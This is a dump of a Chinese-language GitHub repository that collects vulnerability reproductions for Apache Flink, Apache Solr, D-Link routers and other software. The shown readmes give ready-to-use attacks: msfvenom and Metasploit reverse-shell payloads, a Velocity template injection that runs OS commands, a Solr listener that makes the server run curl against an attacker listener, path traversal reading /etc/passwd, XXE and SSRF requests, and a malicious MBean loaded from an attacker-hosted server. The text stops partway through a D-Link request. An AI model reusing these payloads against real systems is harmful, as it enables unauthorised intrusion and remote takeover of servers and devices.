├── README.md
├── apache flink
└── flink上传jar导致rce
│ ├── assets
│ ├── dashboard.png
│ ├── msf.png
│ ├── rce.png
│ ├── submit.png
│ └── upload.png
│ └── readme.md
├── apache_solr
├── Apache Solr Velocity模板远程代码执行
│ ├── assets
│ │ ├── config.png
│ │ ├── cores.png
│ │ ├── cores2.png
│ │ ├── poc.png
│ │ └── result.png
│ └── readme.md
├── CVE-2017-12629
│ ├── assets
│ │ ├── setp2.png
│ │ ├── setp4.png
│ │ ├── setp5.png
│ │ ├── webinfo.png
│ │ └── 屏幕截图_9.png
│ └── readme.md
├── CVE-2017-3163
│ ├── assets
│ │ ├── get_core.png
│ │ └── res.png
│ └── readme.md
├── CVE-2019-0193
│ ├── assets
│ │ ├── cores.png
│ │ ├── poc.png
│ │ └── poc2.png
│ └── readme.md
└── cve-2019-12409
│ ├── assets
│ ├── install.png
│ ├── msf.png
│ └── pwd.png
│ └── readme.md
├── d-link
└── dlink未授权rce
│ ├── assets
│ ├── dnslog.png
│ ├── login.png
│ └── python_poc.png
│ └── readme.md
├── django
└── django jsonfield sql注入
│ ├── assets
│ ├── admin.png
│ ├── evil.png
│ ├── models.png
│ ├── normal.png
│ └── postgres.png
│ └── readme.md
├── docker
└── docker未授权访问toRCE
│ ├── assets
│ ├── crontab.png
│ └── python_poc.png
│ └── readme.md
├── dubbo
└── CVE-2020-1948
│ ├── assets
│ └── calc.png
│ └── readme.md
├── e-cology(泛微oa系统)
└── e-cology未授权RCE
│ ├── assets
│ ├── local.png
│ └── poc.png
│ └── readme.md
├── elasticsearch
└── elasticsearch未授权访问
│ ├── assets
│ ├── nodes.png
│ └── python_poc.png
│ └── readme.md
├── fpm
└── php-fpm未授权访问漏洞
│ ├── assets
│ ├── res.png
│ └── vulhub.png
│ └── readme.md
├── harbor
└── harbor任意管理员注册(cve-2019-1609)
│ ├── assets
│ ├── index.png
│ ├── poc.png
│ ├── result.png
│ ├── users.png
│ └── 屏幕截图.png
│ └── readme.md
├── jboss
├── cve-2007-1036
│ ├── assets
│ │ ├── burp_poc.png
│ │ └── pocsuite3.png
│ └── readme.md
├── cve-2010-0738
│ ├── assets
│ │ ├── burp_poc.png
│ │ ├── python_poc.png
│ │ └── python_poc1.png
│ └── readme.md
├── cve-2013-4810
│ ├── assets
│ │ ├── a.war
│ │ ├── burp_poc.png
│ │ ├── poc.png
│ │ ├── python_poc.png
│ │ └── usage.png
│ └── readme.md
└── cve-2017-7504
│ ├── assets
│ ├── poc1.png
│ └── poc2.png
│ └── readme.md
├── jenkins
├── CVE-2018-1999002
│ └── readme.md
├── cve-2016-0792
│ ├── assets
│ │ ├── burp_poc.png
│ │ ├── burp_poc1.png
│ │ └── dnslog.png
│ ├── python_poc.png
│ └── readme.md
└── jenkins未授权RCE
│ ├── assets
│ ├── manage.png
│ ├── python_poc.png
│ └── script.png
│ └── readme.md
├── jetty
└── jetty漏洞收集.md
├── jira
└── 未授权ssrf
│ ├── assets
│ ├── burp.png
│ └── python_poc.png
│ └── readme.md
├── joomla
└── joomla3.4.6 未授权rce
│ ├── assets
│ ├── exp.png
│ ├── poc.png
│ ├── python_poc.png
│ └── shell.png
│ ├── joomla346_rce.py
│ └── readme.md
├── kibana
└── kibana未授权命令执行
│ ├── assets
│ └── kibana.png
│ ├── kibana_cmd_exec_cve20197609.py
│ └── readme.md
├── memcached
└── memcached未授权访问
│ ├── assets
│ ├── poc.png
│ ├── 屏幕截图.png
│ ├── 屏幕截图_1.png
│ └── 屏幕截图_2.png
│ └── readme.md
├── mysql
└── mysql LOAD DATA INFILE 任意文件读取漏洞
│ ├── assets
│ ├── 3307.png
│ ├── config.png
│ ├── evil_mysql.png
│ ├── forbidden.png
│ └── phpmyadmin.png
│ └── readme.md
├── openssl
└── 心脏滴血
│ ├── assets
│ ├── poc.png
│ └── python_poc.png
│ ├── openssl.py
│ └── readme.md
├── php
└── cve-2019-11043
│ ├── assets
│ ├── ls.png
│ ├── poc.png
│ ├── res1.png
│ └── res2.png
│ └── readme.md
├── phpmyadmin
└── CVE-2018-12613 LFI
│ ├── assets
│ └── poc.png
│ └── readme.md
├── redis
└── redis未授权访问漏洞
│ ├── assets
│ └── python_poc.png
│ └── readme.md
├── spring boot
└── springboot spel表达式注入
│ ├── assets
│ ├── code.png
│ ├── maven.png
│ ├── poc.png
│ └── springinit.png
│ └── readme.md
├── spring
├── Spring-Data-Rest-RCE_
│ ├── assets
│ │ ├── poc.png
│ │ └── python.png
│ └── readme.md
├── XMLBeam-XXE(CVE-2018-1259)
│ ├── assets
│ │ ├── poc.png
│ │ └── test.png
│ └── readme.md
├── spring-messaging
│ ├── assets
│ │ ├── idea.png
│ │ ├── poc.png
│ │ └── web.png
│ └── readme.md
├── spring-mvc目录穿越
│ └── readme.md
└── spring一些其他相关漏洞.md
├── sudo
└── CVE-2019-14287(sudo权限绕过)
│ ├── assets
│ ├── poc.png
│ └── sudoers.png
│ └── readme.md
├── thinkcmfx
└── thinkcmfx任意内容包含漏洞
│ ├── assets
│ ├── dnslog.png
│ ├── poc1.png
│ └── poc2.png
│ └── readme.md
├── thinkphp
├── thinkphp5 sql注入1
│ ├── assets
│ │ ├── builder_insert.png
│ │ ├── data.png
│ │ ├── data1.png
│ │ ├── index.png
│ │ ├── insert.png
│ │ ├── insertSql.png
│ │ ├── poc.png
│ │ └── sql.png
│ └── readme.md
├── thinkphp5 sql注入2
│ ├── assets
│ │ └── poc.png
│ └── readme.md
├── thinkphp5023_rce
│ ├── assets
│ │ ├── poc.png
│ │ └── trace.png
│ └── readme.md
├── thinkphp5_lfi
│ ├── assets
│ │ └── phpinfo.png
│ └── readme.md
└── thinkphp5_rce
│ ├── assets
│ ├── browser.png
│ ├── burp.png
│ └── trace.png
│ └── readme.md
└── tomcat
└── tomcat-ajp-lfi
├── README.md
└── assets
└── poc.png
/README.md:
--------------------------------------------------------------------------------
1 | # vuls
2 | 
3 |
4 |
5 | 收集整理一些漏洞,利用方法,poc等等,方便快速查阅
6 |
7 |
--------------------------------------------------------------------------------
/apache flink/flink上传jar导致rce/assets/dashboard.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/dashboard.png
--------------------------------------------------------------------------------
/apache flink/flink上传jar导致rce/assets/msf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/msf.png
--------------------------------------------------------------------------------
/apache flink/flink上传jar导致rce/assets/rce.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/rce.png
--------------------------------------------------------------------------------
/apache flink/flink上传jar导致rce/assets/submit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/submit.png
--------------------------------------------------------------------------------
/apache flink/flink上传jar导致rce/assets/upload.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/upload.png
--------------------------------------------------------------------------------
/apache flink/flink上传jar导致rce/readme.md:
--------------------------------------------------------------------------------
1 | Apache Flink 任意 Jar 包上传致 RCE 漏洞复现
2 |
3 | #### 0x00 简介
4 | Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。
5 |
6 | #### 0x01 漏洞概述
7 |
8 | 攻击者可直接在Apache Flink Dashboard页面中上传任意jar包,从而达到远程代码执行的目的。
9 |
10 | #### 0x02 影响版本
11 |
12 | 至目前最新版本Apache Flink 1.9.1
13 |
14 | #### 0x03 环境搭建
15 |
16 | 测试环境:Flink 1.9.1 java8+
17 |
18 | Apache Flink 1.9.1安装包下载
19 |
20 | `https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz`
21 |
22 | 解压后进入bin文件夹,运行./start-cluster.sh
23 |
24 | 验证Flink启动之后,默认web 端口8081是否正常
25 |
26 | 访问http://ip:8081/可看到环境页面
27 |
28 | 
29 |
30 | #### 0x04 漏洞利用
31 |
32 | 1、上传msf生成的jar包
33 |
34 | 生成rce.jar文件
35 |
36 | `msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8989 -f jar > rce.jar`
37 |
38 | 
39 |
40 | 在flink中上传rce.jar文件
41 |
42 | 
43 |
44 |
45 | msf启用监听
46 |
47 | 
48 |
49 | 然后在flink中选中我们刚刚上传的jar文件,点击submit,msf就会收到一个反向连接,得到一个session
50 |
51 | 
52 |
53 |
54 | #### python poc
55 |
56 | 写python poc也很简单了,直接利用dnslog的方式检测目标主机是否反向dns解析我们的dnslog平台就行了,也就是我们利用msf生成一个LHOST为dnslog平台域名的jar,然后利用requests将这个jar传上去,然后再用requests模拟submit操作,最后验证dnslog平台是否有记录就行了
--------------------------------------------------------------------------------
/apache_solr/Apache Solr Velocity模板远程代码执行/assets/config.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/config.png
--------------------------------------------------------------------------------
/apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores.png
--------------------------------------------------------------------------------
/apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores2.png
--------------------------------------------------------------------------------
/apache_solr/Apache Solr Velocity模板远程代码执行/assets/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/poc.png
--------------------------------------------------------------------------------
/apache_solr/Apache Solr Velocity模板远程代码执行/assets/result.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/result.png
--------------------------------------------------------------------------------
/apache_solr/Apache Solr Velocity模板远程代码执行/readme.md:
--------------------------------------------------------------------------------
1 | #### 漏洞介绍
2 |
3 | 近日,国外安全研究员 s00py 公开了一个 Apache Solr 的 Velocity 模板注入的漏洞.经过亚信安全网络攻防实验室研究,发现该0day漏洞真实存在,并且
4 | 可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁
5 |
6 | #### 影响范围
7 |
8 | Solr version: >5,在8.2.0环境中测试成功
9 |
10 | #### 复现过程
11 |
12 | ###### 0x01 获取core名
13 |
14 | 
15 |
16 | 或者访问/solr/admin/cores?wt=json,个人更推荐这种方式,因为这种方式在写poc时可以很方便的获取cores
17 |
18 | 
19 |
20 |
21 | ###### 0x02 修改配置
22 |
23 | 开启params.resource.loader.enabled,发送如下请求
24 |
25 | ```
26 | POST /solr/core_name/config HTTP/1.1
27 | Host: ip
28 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
29 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
30 | Accept-Language: en-US,en;q=0.5
31 | Accept-Encoding: gzip, deflate
32 | Content-Type: application/json
33 | Content-Length: 229
34 | Origin: ip
35 | Connection: close
36 | Referer: xxxxx
37 | Upgrade-Insecure-Requests: 1
38 | Pragma: no-cache
39 | Cache-Control: no-cache
40 |
41 | {
42 | "update-queryresponsewriter": {
43 | "startup": "lazy",
44 | "name": "velocity","class": "solr.VelocityResponseWriter",
45 | "template.base.dir": "",
46 | "solr.resource.loader.enabled": "true",
47 | "params.resource.loader.enabled": "true"
48 | }
49 | }
50 | ```
51 | 注意下图圈起来的部分替换为我们第一步获取到的core名(任意一个都行)
52 | 
53 |
54 | ###### 0x03 执行命令
55 |
56 | `
57 | /solr/hot_search/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23en`
58 |
59 | 执行结果如下
60 |
61 | 
62 |
63 |
64 | #### python_poc
65 |
66 | 暂不放出,由于漏洞曝光不久,扫描结果显示漏洞主机有很多
67 |
68 | 
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-12629/assets/setp2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/setp2.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-12629/assets/setp4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/setp4.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-12629/assets/setp5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/setp5.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-12629/assets/webinfo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/webinfo.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-12629/assets/屏幕截图_9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/屏幕截图_9.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-12629/readme.md:
--------------------------------------------------------------------------------
1 | CVE-2017-12629利用的一些说明
2 | --
3 |
4 | ### 说明
5 |
6 | 这个漏洞需要在分布式安装的情况下才能完整利用,但是我看到vulhub上的环境,他不是分布式搭建的solr,依然可以利用,我猜测大概是因为测试环境,我们事先是知道core的名字或者collection名字的,所以在大家使用vulhub上solr的漏洞环境,依然可以成功执行命令,但是在真实的环境中我们可能不知道core或者collection的名字,所以这个时候如果目标搭建的一个分布式solr,我们不知道现有的core或者collection名也没有关系,因为,分布式solr允许我们未授权创建一个collection。这就为后续的漏洞利用提供了条件。
7 |
8 | ### RCE利用流程
9 |
10 | 上面也提到了,vulhub上的漏洞环境是定制的,我们是提前知道core名的,所以那个攻击链是不完整的,我们这里,所以我这里贴出完整的攻击链
11 |
12 | 引用exp-db上的
13 |
14 | - Step 1. Create a new collection:
15 |
16 | `http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2`
17 |
18 | 
19 |
20 | - Step 2. Set up a listener on any port by using netcat command "nc -lv 4444"
21 |
22 | - Step 3. Add a new RunExecutableListener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http://localhost:4444/executed" value to make a request to the attacker's netcat listener:
23 |
24 | ```
25 | POST /solr/newcollection/config HTTP/1.1
26 | Host: localhost:8983
27 | Connection: close
28 | Content-Type: application/json
29 | Content-Length: 198
30 |
31 | {
32 | "add-listener" : {
33 | "event":"postCommit",
34 | "name":"newlistener",
35 | "class":"solr.RunExecutableListener",
36 | "exe":"curl",
37 | "dir":"/usr/bin/",
38 | "args":["http://localhost:4444/executed"]
39 | }
40 | }
41 | ```
42 | 
43 |
44 | - Step 4. Update "newcollection" to trigger execution of RunExecutableListener:
45 |
46 | ```
47 | POST /solr/newcollection/update HTTP/1.1
48 | Host: localhost:8983
49 | Connection: close
50 | Content-Type: application/json
51 | Content-Length: 19
52 |
53 | [{"id":"test"}]
54 | ```
55 | 
56 |
57 | - Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server.
58 |
59 |
60 | 
61 |
62 | 以上就是一个完整的命令执行流程
63 |
64 | poc:apache_solr_cmd_exec_cve201712629
65 |
66 | ### XXE 利用流程
67 |
68 | xxe的利用是不需要分布式的solr的,可利用性更大,payload(注意下面的axina应该替换为目标机上已有的core名,可以通过访问/solr/admin/cores查看):
69 |
70 | `http://127.0.0.1:8983/solr/axina/select?q={!xmlparser%20v=%27%3C!DOCTYPE%20a%20SYSTEM%20%22http://127.0.0.1:8000/test%22%3E%3Ca%3E%3C/a%3E%27}`
71 |
72 | 我本地的webserver收到了请求:
73 |
74 | 
75 |
76 | 说明漏洞成功触发
77 |
78 | ### 参数注入的方式利用漏洞
79 |
80 |
81 | ### 参考
82 |
83 | 环境搭建及利用参考:https://blog.csdn.net/qq_33020901/article/details/79131870
84 |
85 | 漏洞分析参考:https://paper.seebug.org/425/
86 |
87 | ### 注
88 |
89 | 反弹shell利用方式,还没有完善,留个坑
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-3163/assets/get_core.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-3163/assets/get_core.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-3163/assets/res.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-3163/assets/res.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2017-3163/readme.md:
--------------------------------------------------------------------------------
1 | CVE-2017-3163复现
2 | --
3 |
4 | Target Solr version: <5.5.4 and <6.4.1 Requirements: none
5 |
6 | `GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1`
7 |
8 | There is also an unfixed SSRF here, but with the existence of "shards" feature it's hardly considered as a vulnerability:
9 |
10 | `GET /solr/db/replication?command=fetchindex&masterUrl=http://callback/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb`
11 |
12 | 此处我只复现一下文件读取吧
13 |
14 | 
15 |
16 | 这里需要注意上面链接的db是core的名字,这个需要根据真实的攻击场景自行更改,我们在真实环境中可以利用
17 |
18 | `/solr/admin/cores?wt=json`获取
19 |
20 | 
21 |
22 | 写poc的时候也需要注意这一点
23 |
24 |
25 |
26 | ### 注
27 |
28 | 我的复现环境: solr 4.3.1
29 |
30 | 旧版本的solr是需要部署war包的。部署方式参考连接:
31 |
32 | https://lucien-zzy.iteye.com/blog/2002087
33 |
34 | https://github.com/artsploit/solr-injection
35 |
--------------------------------------------------------------------------------
/apache_solr/CVE-2019-0193/assets/cores.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2019-0193/assets/cores.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2019-0193/assets/poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2019-0193/assets/poc.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2019-0193/assets/poc2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2019-0193/assets/poc2.png
--------------------------------------------------------------------------------
/apache_solr/CVE-2019-0193/readme.md:
--------------------------------------------------------------------------------
1 | CVE-2019-0193 复现概述
2 | --
3 |
4 | ### 影响范围
5 |
6 | Apache Solr < 8.2.0
7 |
8 | ### 环境搭建
9 |
10 | 版本: solr 7.7.2
11 |
12 | 环境搭建这里是比较坑的,我之前不知道solr有dataimporthandler的案例,搭建环境花费了很长时间,总是报错,而且还没有成功23333。实际上只需要如下命令就行
13 |
14 | `bin/solr -e dih`
15 |
16 | 上面的命令就会启动一个搭建好dataimporthandler的环境,访问8983端口,我们就能直接复现漏洞了。
17 |
18 | ### 漏洞复现
19 |
20 | 这个漏洞利用的前提就是需要知道core一个core的名字,这个我们可以通过访问
21 |
22 | `http://127.0.0.1:8983/solr/admin/cores`
23 |
24 | 获取,如下
25 |
26 | 
27 |
28 | 我们接下来就以atom这个core为例进行复现。poc1如下:
29 |
30 | ```
31 | POST /solr/atom/dataimport HTTP/1.1
32 | Host: 127.0.0.1:8983
33 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
34 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
35 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
36 | Accept-Encoding: gzip, deflate
37 | Connection: close
38 | Cookie: bdshare_firstime=1564113816358
39 | Upgrade-Insecure-Requests: 1
40 | Content-Type: application/x-www-form-urlencoded
41 | Content-Length: 501
42 |
43 | command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
44 |
45 |
46 |
53 |
54 |
59 |
60 |
61 |
62 |
63 | ```
64 |
65 | 上面的poc中的atom替换为你自己环境中的core名,然后我这里是启动wireshark,这个自己随机指定一个软件都行。
66 |
67 | 
68 |
69 | 上面那个poc是利用了stackoverfolw返回的xml文档, 稳定性不太好,接下来这个poc更具有普适性
70 |
71 | ```
72 | POST /solr/atom/dataimport HTTP/1.1
73 | Host: 127.0.0.1:8983
74 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
75 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
76 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
77 | Accept-Encoding: gzip, deflate
78 | Connection: close
79 | Cookie: bdshare_firstime=1564113816358
80 | Upgrade-Insecure-Requests: 1
81 | Content-Type: application/x-www-form-urlencoded
82 | Content-Length: 554
83 |
84 | command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
85 |
86 |
87 |
94 |
95 |
100 |
101 |
102 | ```
103 |
104 | 效果如下:
105 |
106 | 
107 |
108 | **这个poc比较重要的一点就是url的值,这个值链接的目标应该返回一个正常的xml文档**
109 |
110 |
111 |
112 |
--------------------------------------------------------------------------------
/apache_solr/cve-2019-12409/assets/install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/cve-2019-12409/assets/install.png
--------------------------------------------------------------------------------
/apache_solr/cve-2019-12409/assets/msf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/cve-2019-12409/assets/msf.png
--------------------------------------------------------------------------------
/apache_solr/cve-2019-12409/assets/pwd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/cve-2019-12409/assets/pwd.png
--------------------------------------------------------------------------------
/apache_solr/cve-2019-12409/readme.md:
--------------------------------------------------------------------------------
1 | #### 漏洞简介
2 |
3 | 近日安全研究人员JanHøydahl披露了Apache Solr的8.1.1和8.2.0发行版中的默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段值默认为”true”.如果使用受影响版本中的默认配置,那么将启用JMX监视服务并将对公网监听一个18983的RMI端口,且无需进行任何身份验证.如果防火墙中的入站流量打开了此端口,则只要具有Solr节点网络访问权限就能够访问JMX,并且可以上传恶意代码在Solr服务器上执行.
4 |
5 | 该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。
6 |
7 |
8 | #### 影响版本
9 |
10 | solr 8.1.1
11 |
12 | solr 8.2.0
13 |
14 | #### 环境搭建
15 |
16 | 直接去官网下载solr 8.2.0版本,然后运行目录下的bin/solr
17 | `./solr start -p 8983`
18 |
19 | 然后使用msf直接上手,可直接拿到shell
20 |
21 | ```
22 | use exploit/multi/misc/java_jmx_server
23 | set payload java/meterpreter/reverse_tcp
24 | set LHOST 攻击机ip
25 | set RPORT 18983
26 | set RHOST 目标机ip
27 | run
28 | ```
29 |
30 | 
31 |
32 | 当然,msf总是显得有点笨拙了。还可以利用mjet(https://github.com/mogwailabs/mjet)来利用这个漏洞
33 |
34 | mjet使用方法直接去github上看,先是部署恶意Mbean
35 |
36 | `java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 install super_secret http://127.0.0.1:8000 8000`
37 |
38 | 
39 |
40 | 因为我是在本地复现的漏洞,所以我的目标机与web服务器都是填的127.0.0.1,上面的命令执行过程中会在本地搭建一个Web服务器,并把恶意Bean部署到http://127.0.0.1:8000/,然后还会让目标机远程加载我们部署的恶意Mbean,并在目标机上创建这个Mbean,相当于复制过去了。
41 | 然后我们就可以利用jmx协议控制这个恶意Mbean,以实现RCE,本地运行如下命令:
42 |
43 | `java -jar ../jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "pwd"`
44 |
45 | 其中super_secret是我们上一步设置的密码。
46 |
47 | 
48 |
49 |
50 | #### python poc
51 |
52 | 其实有了mjet这些了还要啥python poc啊,因为涉及到使用jmx协议,我看到有个库是Jype,可以调用java代码,但是比起Jython也并没有简单多少....所以老老实实用Jython挺好。其实一开始我打算写python poc的时候有个误区,当时我一直觉得必须要恶意的Mbean才能验证这个漏洞,但是后面小伙伴告诉我直接用dnslog的方式验证也可以,我一想确实是这样,所以,要是不想用jython可以直接抓取攻击过程jmx协议的流量,然后再利用socket发包的形式来复现漏洞利用流程,以实现一个纯python的poc。当然我最后不是这么干的~
53 |
54 | 在写这个poc的过程中,我了解到如果在使用Jython过程中,java跑出了异常,那么是不能用except Exception as e这种方式捕获的,而是如下形式:
55 | ```python
56 | try:
57 | xxxxx
58 | except:
59 | xxxxx
60 | ```
61 |
62 | 也就是不用Exception
63 |
64 |
65 | #### 修复
66 |
67 | 既然是默认配置导致的问题,那么把配置改一下就好了,文件solr.in.sh中ENABLE_REMOTE_JMX_OPTS字段值改为false
68 |
69 |
70 | #### 附
71 |
72 | - 1.启动托管MLet和含有恶意MBean的JAR文件的Web服务器
73 |
74 | - 2.使用JMX在目标服务器上创建MBeanjavax.management.loading.MLet的实例
75 |
76 | - 3.调用MBean实例的getMBeansFromURL方法,将Web服务器URL作为参数进行传-递。JMX服务将连接到http服务器并解析MLet文件
77 |
78 | - 4.JMX服务下载并归档MLet文件中引用的JAR文件,使恶意MBean可通过JMX获取
79 |
80 | - 5.攻击者最终调用来自恶意MBean的方法
81 |
82 |
83 |
84 | 还是很值得学习的一种攻击方式
85 |
--------------------------------------------------------------------------------
/d-link/dlink未授权rce/assets/dnslog.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/d-link/dlink未授权rce/assets/dnslog.png
--------------------------------------------------------------------------------
/d-link/dlink未授权rce/assets/login.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/d-link/dlink未授权rce/assets/login.png
--------------------------------------------------------------------------------
/d-link/dlink未授权rce/assets/python_poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/d-link/dlink未授权rce/assets/python_poc.png
--------------------------------------------------------------------------------
/d-link/dlink未授权rce/readme.md:
--------------------------------------------------------------------------------
1 | ## 漏洞简介
2 |
3 | 2019年9月,Fortinet的FortiGuard Labs发现并向官方反馈了D-Link产品中存在的一个未授权命令注入漏洞(FG-VD-19-117/CVE-2019-16920),成功利用该漏洞后,攻击者可以在设备上实现远程代码执行(RCE)。由于攻击者无需通过身份认证就能远程触发该漏洞,因此我们将该漏洞标记为高危级别漏洞。
4 |
5 | 根据我们的测试,搭载最新版固件的如下D-Link产品存在该漏洞:
6 |
7 |
8 | DIR-655
9 | DIR-866L
10 | DIR-652
11 | DHP-1565
12 |
13 | 在本文撰写时,这些产品已超出产品支持生命周期(EOL),这意味着厂商不会再为我们发现的问题提供补丁。FortiGuard Labs在此感谢厂商的快速响应,建议用户尽快升级到新的设备。
14 |
15 |
16 | ## 漏洞复现
17 |
18 | 登录页面长这样(DIR-866L)
19 |
20 | 
21 |
22 |
23 | 构造如下请求包
24 |
25 | ```
26 | POST /apply_sec.cgi HTTP/1.1
27 | Host: 162.xxx.xxxx.60:55555
28 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
29 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
30 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
31 | Accept-Encoding: gzip, deflate
